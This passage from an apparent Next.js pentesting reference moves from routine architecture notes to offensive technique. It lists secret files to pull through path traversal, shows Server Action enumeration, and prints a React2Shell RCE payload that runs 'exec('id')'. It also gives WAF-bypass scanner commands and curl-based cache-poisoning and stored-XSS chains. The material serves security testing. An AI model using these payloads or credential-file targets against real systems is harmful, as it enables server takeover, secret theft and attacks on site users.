**`pages/_app.js`** 1115 1116 **Purpose:** Overrides the default App component, allowing for global state, styles, and layout components. 1117 1118 **Use Cases:** 1119 1120 - Injecting global CSS. 1121 - Adding layout wrappers. 1122 - Integrating state management libraries. 1123 1124 **Example:** 1125 1126 ```jsx 1127 // pages/_app.js 1128 import "../styles/globals.css" 1129 1130 function MyApp({ Component, pageProps }) { 1131 return <Component {...pageProps} /> 1132 } 1133 1134 export default MyApp 1135 ``` 1136 1137 #### **`pages/_document.js`** 1138 1139 **Purpose:** Overrides the default Document, enabling customization of the HTML and Body tags. 1140 1141 **Use Cases:** 1142 1143 - Modifying the `<html>` or `<body>` tags. 1144 - Adding meta tags or custom scripts. 1145 - Integrating third-party fonts. 1146 1147 **Example:** 1148 1149 ```jsx 1150 // pages/_document.js 1151 import Document, { Html, Head, Main, NextScript } from "next/document" 1152 1153 class MyDocument extends Document { 1154 render() { 1155 return ( 1156 <Html lang="en"> 1157 <Head>{/* Custom fonts or meta tags */}</Head> 1158 <body> 1159 <Main /> 1160 <NextScript /> 1161 </body> 1162 </Html> 1163 ) 1164 } 1165 } 1166 1167 export default MyDocument 1168 ``` 1169 1170 ### Custom Server (Optional) 1171 1172 **Purpose:** While Next.js comes with a built-in server, you can create a custom server for advanced use cases like custom routing or integrating with existing backend services. 1173 1174 **Note:** Using a custom server can limit deployment options, especially on platforms like Vercel that optimize for Next.js's built-in server. 1175 1176 **Example:** 1177 1178 ```javascript 1179 // server.js 1180 const express = require("express") 1181 const next = require("next") 1182 1183 const dev = process.env.NODE_ENV !== "production" 1184 const app = next({ dev }) 1185 const handle = app.getRequestHandler() 1186 1187 app.prepare().then(() => { 1188 const server = express() 1189 1190 // Custom route 1191 server.get("/a", (req, res) => { 1192 return app.render(req, res, "/a") 1193 }) 1194 1195 // Default handler 1196 server.all("*", (req, res) => { 1197 return handle(req, res) 1198 }) 1199 1200 server.listen(3000, (err) => { 1201 if (err) throw err 1202 console.log("> Ready on http://localhost:3000") 1203 }) 1204 }) 1205 ``` 1206 1207 --- 1208 1209 ## Additional Architectural and Security Considerations 1210 1211 ### Environment Variables and Configuration 1212 1213 **Purpose:** Manage sensitive information and configuration settings outside the codebase. 1214 1215 **Best Practices:** 1216 1217 - **Use `.env` Files:** Store variables like API keys in `.env.local` (excluded from version control). 1218 - **Access Variables Securely:** Use `process.env.VARIABLE_NAME` to access environment variables. 1219 - **Never Expose Secrets on the Client:** Ensure that sensitive variables are only used server-side. 1220 1221 **Example:** 1222 1223 ```javascript 1224 // Server-only module: lib/data.js 1225 import "server-only" 1226 1227 export function getApiKey() { 1228 return process.env.API_KEY 1229 } 1230 ``` 1231 1232 **Note:** Keep secrets out of the `env` object in `next.config.js`, do not give them a `NEXT_PUBLIC_` prefix, and access them only from server code. The `server-only` marker helps prevent accidental client imports.<sup>[[13]](#references)[[14]](#references)</sup> 1233 1234 ### Useful server artifacts to target via LFI/download endpoints 1235 1236 If you find a path traversal or download API in a Next.js app, target compiled artifacts that leak server-side secrets and auth logic:<sup>[[5]](#references)</sup> 1237 1238 - `.env` / `.env.local` for session secrets and provider credentials. 1239 - `.next/routes-manifest.json` and `.next/build-manifest.json` for a complete route list. 1240 - `.next/server/pages/api/auth/[...nextauth].js` to recover the compiled NextAuth configuration (often contains fallback passwords when `process.env` values are unset). 1241 - `next.config.js` / `next.config.mjs` to review rewrites, redirects and middleware routing. 1242 1243 ### Authentication and Authorization 1244 1245 **Approach:** 1246 1247 - **Session-Based Authentication:** Use cookies to manage user sessions. 1248 - **Token-Based Authentication:** Implement JWTs for stateless authentication. 1249 - **Third-Party Providers:** Integrate with OAuth providers (e.g., Google, GitHub) using libraries like `next-auth`. 1250 1251 **Security Practices:** 1252 1253 - **Secure Cookies:** Set `HttpOnly`, `Secure`, and `SameSite` attributes. 1254 - **Password Hashing:** Always hash passwords before storing them. 1255 - **Input Validation:** Prevent injection attacks by validating and sanitizing inputs. 1256 1257 **Example:** 1258 1259 ```javascript 1260 // pages/api/login.js 1261 import { sign } from "jsonwebtoken" 1262 import { serialize } from "cookie" 1263 1264 export default async function handler(req, res) { 1265 const { username, password } = req.body 1266 1267 // Validate user credentials 1268 if (username === "admin" && password === "password") { 1269 const token = sign({ username }, process.env.JWT_SECRET, { 1270 expiresIn: "1h", 1271 }) 1272 res.setHeader( 1273 "Set-Cookie", 1274 serialize("auth", token, { 1275 path: "/", 1276 httpOnly: true, 1277 secure: true, 1278 sameSite: "strict", 1279 }) 1280 ) 1281 res.status(200).json({ message: "Logged in" }) 1282 } else { 1283 res.status(401).json({ error: "Invalid credentials" }) 1284 } 1285 } 1286 ``` 1287 1288 ### Performance Optimization 1289 1290 **Strategies:** 1291 1292 - **Image Optimization:** Use Next.js's `next/image` component for automatic image optimization. 1293 - **Code Splitting:** Leverage dynamic imports to split code and reduce initial load times. 1294 - **Caching:** Implement caching strategies for API responses and static assets. 1295 - **Lazy Loading:** Load components or assets only when they are needed. 1296 1297 **Example:** 1298 1299 ```jsx 1300 // Dynamic Import with Code Splitting 1301 import dynamic from "next/dynamic" 1302 1303 const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), { 1304 loading: () => <p>Loading...</p>, 1305 }) 1306 ``` 1307 1308 ## Next.js Server Actions Enumeration (hash to function name via source maps) 1309 1310 Modern Next.js uses “Server Actions” that execute on the server but are invoked from the client. In production these invocations are opaque: all POSTs land on a common endpoint and are distinguished by a build-specific hash sent in the `Next-Action` header. Example: 1311 1312 ```http 1313 POST / 1314 Next-Action: a9f8e2b4c7d1... 1315 ``` 1316 1317 When `productionBrowserSourceMaps` is enabled, minified JS chunks contain calls to `createServerReference(...)` that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in `Next-Action` into concrete targets like `deleteUserAccount()` or `exportFinancialData()`.<sup>[[1]](#references)</sup> 1318 1319 ### Extraction approach (regex on minified JS + optional source maps) 1320 1321 Search downloaded JS chunks for `createServerReference` and extract the hash and the function/source symbol. Two useful patterns: 1322 1323 ```regex 1324 # Strict pattern for standard minification 1325 createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\) 1326 1327 # Flexible pattern handling various minification styles 1328 createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\) 1329 ``` 1330 1331 - Group 1: server action hash (40+ hex chars) 1332 - Group 2: symbol or path that can be resolved to the original function via the source map when present 1333 1334 If the script advertises a source map (trailer comment `//# sourceMappingURL=<...>.map`), fetch it and resolve the symbol/path to the original function name. 1335 1336 ### Practical workflow 1337 1338 - Passive discovery while browsing: capture requests with `Next-Action` headers and JS chunk URLs. 1339 - Fetch the referenced JS bundles and accompanying `*.map` files (when present). 1340 - Run the regex above to build a hash↔name dictionary. 1341 - Use the dictionary to target testing: 1342 - Name-driven triage (e.g., `transferFunds`, `exportFinancialData`). 1343 - Track coverage across builds by function name (hashes rotate across builds). 1344 1345 ### Exercising hidden actions (template-based request) 1346 1347 Take a valid POST observed in-proxy as a template and swap the `Next-Action` value to target another discovered action: 1348 1349 ```http 1350 # Before 1351 Next-Action: a9f8e2b4c7d1 1352 1353 # After 1354 Next-Action: b7e3f9a2d8c5 1355 ``` 1356 1357 Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions. 1358 1359 ### Burp automation 1360 1361 - NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:<sup>[[2]](#references)</sup> 1362 - Mines proxy history for JS chunks, extracts `createServerReference(...)` entries, and parses source maps when available. 1363 - Maintains a searchable hash↔function-name dictionary and de-duplicates across builds by function name. 1364 - Can locate a valid template POST and open a ready-to-send Repeater tab with the target action’s hash swapped in. 1365 - Repo: https://github.com/Adversis/NextjsServerActionAnalyzer<sup>[[2]](#references)</sup> 1366 1367 ### Notes and limitations 1368 1369 - Requires `productionBrowserSourceMaps` enabled in production to recover names from bundles/source maps. 1370 - Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each action’s authorization. 1371 1372 ### React Server Components Flight protocol deserialization RCE (CVE-2025-55182) 1373 1374 Next.js App Router deployments that expose Server Actions on `react-server-dom-webpack` **19.0.0–19.2.0 (Next.js 15.x/16.x)** contain a critical server-side prototype pollution during **Flight** chunk deserialization. By crafting `$` references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.<sup>[[3]](#references)</sup> 1375 1376 [Readme](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview) 1377 1378 #### Attack chain in Flight chunks 1379 1380 1. **Prototype pollution primitive:** Set `"then": "$1:__proto__:then"` so that the resolver writes a `then` function on `Object.prototype`. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. 1381 2. **Rebinding to the global `Function` constructor:** Point `_response._formData.get` at `"$1:constructor:constructor"`. During resolution, `object.constructor` → `Object`, and `Object.constructor` → `Function`, so future calls to `_formData.get()` actually execute `Function(...)`. 1382 3. **Code execution via `_prefix`:** Place JavaScript source in `_response._prefix`. When the polluted `_formData.get` is invoked, the framework evaluates `Function(_prefix)(...)`, so the injected JS can run `require('child_process').exec()` or any other Node primitive. 1383 1384 #### Payload skeleton 1385 1386 ```json 1387 { 1388 "then": "$1:__proto__:then", 1389 "status": "resolved_model", 1390 "reason": -1, 1391 "value": "{\"then\":\"$B1337\"}", 1392 "_response": { 1393 "_prefix": "require('child_process').exec('id')", 1394 "_chunks": "$Q2", 1395 "_formData": { "get": "$1:constructor:constructor" } 1396 } 1397 } 1398 ``` 1399 1400 #### Mapping React Server Function exposure 1401 1402 React Server Functions (RSF) are any functions that include the `'use server';` directive. Every form action, mutation, or fetch helper bound to one of those functions becomes an RSC Flight endpoint that will happily deserialize attacker-supplied payloads. Useful recon steps derived from React2Shell assessments:<sup>[[4]](#references)</sup> 1403 1404 - **Static inventory:** look for the directive to understand how many RSFs are being automatically exposed by the framework. 1405 1406 ```bash 1407 rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/ 1408 ``` 1409 1410 - **App Router defaults:** `create-next-app` enables the App Router + `app/` directory by default, which silently turns every route into an RSC-capable endpoint. App Router assets such as `/_next/static/chunks/app/` or responses that stream Flight chunks over `text/x-component` are strong Internet-facing fingerprints. 1411 - **Implicitly vulnerable RSC deployments:** React’s own advisory notes that apps shipping the RSC runtime can be exploitable **even without explicit RSFs**, so treat any build using `react-server-dom-*` 19.0.0–19.2.0 as suspect. 1412 - **Other frameworks bundling RSC:** Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse the same serializer and inherit the identical remote attack surface until they embed patched React builds. 1413 1414 #### Version coverage (React2Shell) 1415 1416 - `react-server-dom-webpack`, `react-server-dom-parcel`, `react-server-dom-turbopack`: **vulnerable** in 19.0.0, 19.1.0–19.1.1 and 19.2.0; **patched** in 19.0.1, 19.1.2 and 19.2.1 respectively. 1417 - **Next.js stable:** App Router releases 15.0.0–16.0.6 embed the vulnerable RSC stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 include fixed deps, so any build below those versions is high-value. 1418 - **Next.js canary:** `14.3.0-canary.77+` also ships the buggy runtime and currently lacks patched canary drops, making those fingerprints strong exploitation candidates.<sup>[[4]](#references)</sup> 1419 1420 #### Remote detection oracle 1421 1422 Assetnote’s [`react2shell-scanner`](https://github.com/assetnote/react2shell-scanner) sends a crafted multipart Flight request to candidate paths and watches server-side behavior:<sup>[[6]](#references)</sup> 1423 1424 - **Default mode** executes a deterministic RCE payload (math operation reflected via `X-Action-Redirect`) proving code execution. 1425 - **`--safe-check` mode** purposefully malforms the Flight message so patched servers return `200/400`, while vulnerable targets emit `HTTP/500` responses containing the `E{"digest"` substring inside the body. That `(500 + digest)` pair is currently the most reliable remote oracle published by defenders. 1426 - Built-in `--waf-bypass`, `--vercel-waf-bypass`, and `--windows` switches adjust payload layout, prepend junk, or swap OS commands so you can probe real Internet assets. 1427 1428 ```bash 1429 python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check 1430 python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json 1431 ``` 1432 1433 ### Other recent App Router issues (late 2025) 1434 1435 1. **RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183)** – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a `text/x-component` body with abusive `$` references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.<sup>[[7]](#references)</sup> 1436 - **Triage tip:** Unpatched targets return `500` with `E{"digest"` after malformed Flight payloads; patched builds return `400/200`. Test any endpoint already streaming Flight chunks (look for `Next-Action` headers or `text/x-component` responses) and replay with a modified payload. 1437 1438 2. **RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2)** – missing `Vary` let an `Accept: text/x-component` response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads.<sup>[[8]](#references)</sup> PoC flow: 1439 ```bash 1440 # Prime CDN with an RSC response 1441 curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null 1442 # Immediately fetch without Accept (victim view) 1443 curl -k "https://target/app/dashboard" | head 1444 ``` 1445 If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing. 1446 1447 3. **Header reflection + RSC content-type confusion -> stored / 0-click SXSS** – Some App Router deployments mirror incoming request headers into the response (often via `middleware.ts` / `proxy.ts`). If an external CDN caches RSC variants and does not safely isolate `Vary: Rsc`, that “low impact” reflection can become cross-user XSS:<sup>[[9]](#references)</sup> 1448 - Send `Rsc: 1` to force a **dynamic** route to return the React Server Component payload instead of HTML. Dynamic routes are the interesting target because they reflect query parameters inside the Flight body after `__PAGE__`; prerendered routes are less useful and often expose `x-nextjs-prerender`. 1449 - If the reflected request headers let you pre-seed `Content-Type: text/html`, Next.js keeps the attacker value because it only sets the default RSC `text/x-component` type when no `Content-Type` is already present. The browser then parses the RSC payload as HTML instead of inert Flight data. 1450 - If the CDN stores that poisoned response, what looks like reflected XSS becomes **stored XSS via cache poisoning**. Query parameters commonly remain part of the cache key, so the exact payload URL becomes the retrieval key for later victims. 1451 - To remove the “victim must open the payload URL” requirement, poison a high-traffic page such as `/` with a reflected `Refresh: 0; https://target/path?<same-payload>` header. `Location` needs a `3xx` status, but `Refresh` works on cacheable `200` responses and can bounce users into the already-poisoned RSC entry.<sup>[[10]](#references)</sup> 1452 1453 Quick triage flow: 1454 ```bash 1455 # Stage 1: poison a dynamic route as HTML instead of text/x-component 1456 curl -isk -H 'Rsc: 1' -H 'Content-Type: text/html' \ 1457 'https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E' 1458 1459 # Stage 2: poison / with a cached browser-side redirect to the same key 1460 curl -isk -H 'Refresh: 0; https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E' \ 1461 'https://target.tld/' 1462 ``` 1463 1464 Triage tips: 1465 - Compare the same route with and without `Rsc: 1`, then watch for `Content-Type`, `Vary: Rsc`, `CF-Cache-Status` / `X-Cache`, and unescaped query-string reflection after `__PAGE__`. 1466 - Test both dynamic and prerendered routes. If `x-nextjs-prerender` is present, move to a dynamic path. 1467 - Header-forwarding logic often lives in middleware/proxy matchers that exclude `_next/static`, `_next/image`, and `favicon.ico`, so static assets may not expose the same primitive.<sup>[[11]](#references)</sup> 1468 1469 ## References 1470 1471 - [1] [Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping](https://www.adversis.io/blogs/pentesting-next-js-server-actions) 1472 - [2] [NextjsServerActionAnalyzer (Burp extension)](https://github.com/Adversis/NextjsServerActionAnalyzer) 1473 - [3] [CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool](https://github.com/Spritualkb/CVE-2025-55182-exp) 1474 - [4] [CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know](https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/) 1475 - [5] [0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html) 1476 - [6] [assetnote/react2shell-scanner](https://github.com/assetnote/react2shell-scanner) 1477 - [7] [Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)](https://nextjs.org/blog/security-update-2025-12-11) 1478 - [8] [GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning](https://github.com/advisories/GHSA-r2fc-ccr8-96c4) 1479 - [9] [Re:CACHE - Excessive Reflection, Type Confusion, and 0-Click SXSS on Next.js](https://zhero-web-sec.github.io/research-and-things/re-cache-excessive-reflection-type-confusion-and-0-click-sxss-on-nextjs) 1480 - [10] [MDN: Refresh header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Refresh) 1481 - [11] [Next.js proxy matcher docs](https://nextjs.org/docs/app/api-reference/file-conventions/proxy) 1482 - [12] [Next.js Route Handlers](https://nextjs.org/docs/app/getting-started/route-handlers) 1483 - [13] [Next.js Server and Client Components: preventing environment poisoning](https://nextjs.org/docs/app/getting-started/server-and-client-components#preventing-environment-poisoning) 1484 - [14] [Next.js environment variables and `next.config.js` `env`](https://nextjs.org/docs/pages/api-reference/config/next-config-js/env) 1485 - [15] [Next.js Image Component: remote patterns](https://nextjs.org/docs/app/api-reference/components/image#remotepatterns)